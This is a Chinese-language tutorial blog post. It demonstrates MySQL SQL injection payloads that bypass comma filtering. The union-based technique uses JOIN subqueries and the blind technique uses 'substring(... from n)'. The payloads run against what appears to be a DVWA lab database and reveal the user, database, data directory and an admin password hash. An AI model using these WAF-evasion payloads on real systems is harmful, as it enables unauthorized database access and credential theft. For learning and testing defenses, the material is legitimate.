• SQL注入--显注和盲注中过滤逗号绕过


    SQL注入逗号绕过

    1.联合查询显注绕过逗号

    在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联合查询不能用了。
    绕过
    在显示位上替换为常见的注入变量或其它语句

    union select 1,2,3;
    
    union select * from ((select 1)A join (select 2)B join (select 3)C);
    
    union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);
    

    在数据库中演示联合查询
    UNION开始是我们在URL中注入的语句,这里只是演示,在实际中如果我们在注入语句中有逗号就可能被拦截

    mysql> select user_id,user,password from users union select 1,2,3;
    +---------+-------+----------------------------------+
    | user_id | user  | password                         |
    +---------+-------+----------------------------------+
    |       1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
    |       1 | 2     | 3                                |
    +---------+-------+----------------------------------+
    2 rows in set (0.04 sec)
    

    不出现逗号,使用Join来注入

    mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
    +---------+-------+----------------------------------+
    | user_id | user  | password                         |
    +---------+-------+----------------------------------+
    |       1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
    |       1 | 2     | 3                                |
    +---------+-------+----------------------------------+
    2 rows in set (0.05 sec)
    

    查询我们想要的数据

    mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;
    +---------+-------+-------------------------------------------------+
    | user_id | user  | password                                        |
    +---------+-------+-------------------------------------------------+
    |       1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99                |
    |       1 | 2     | root@192.168.228.1 dvwa c:phpStudyMySQLdata |
    +---------+-------+-------------------------------------------------+
    2 rows in set (0.08 sec)
    

    2.盲注中逗号绕过

    MID 和substr 函数用于从文本字段中提取字符

    mysql> select mid(user(),1,2);
    +-----------------+
    | mid(user(),1,2) |
    +-----------------+
    | ro              |
    +-----------------+
    1 row in set (0.04 sec)
    

    查询数据库用户名第一个字符的ascii码

    mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;
    +---------+-------+----------------------------------+
    | user_id | user  | password                         |
    +---------+-------+----------------------------------+
    |       1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
    |     114 | 2     | 3                                |
    +---------+-------+----------------------------------+
    2 rows in set (0.05 sec)
    

    盲注,通过猜ascii值

    mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;
    Empty set
    
    mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;
    +---------+-------+----------------------------------+
    | user_id | user  | password                         |
    +---------+-------+----------------------------------+
    |       1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
    +---------+-------+----------------------------------+
    1 row in set (0.04 sec)
    

    逗号绕过SUBTTRING 函数
    substring(str FROM pos)
    从字符串str的起始位置pos 返回一个子串

    mysql> select substring('hello' from 1);
    +---------------------------+
    | substring('hello' from 1) |
    +---------------------------+
    | hello                     |
    +---------------------------+
    1 row in set (0.04 sec)
    
    mysql> select substring('hello' from 2);
    +---------------------------+
    | substring('hello' from 2) |
    +---------------------------+
    | ello                      |
    +---------------------------+
    1 row in set (0.03 sec)
    

    注入

    mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;
    Empty set
    //substring(user() from 2)为o
    //o的ascii为111,
    mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;
    +---------+-------+----------------------------------+
    | user_id | user  | password                         |
    +---------+-------+----------------------------------+
    |       1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
    +---------+-------+----------------------------------+
    1 row in set (0.03 sec)
    
  • 相关阅读:
    继承
    iOS 适配暗黑模式
    【C++ STL】容器的选择
    纳税相关
    SwiftUI状态绑定:@State
    python 中各种容器可以容纳的数据类型
    open GL 在使用材质属性glMaterial设置物体颜色效果时,使用shader和使用固定管线后颜色区别
    做为一名测试工程师,你经常会用到或听到的那些工具
    推荐一款技术人必备的接口测试神器:Apifox
    测试管理工具推荐
  • 原文地址:https://www.cnblogs.com/hackxf/p/9490534.html
Copyright © 2020-2023  润新知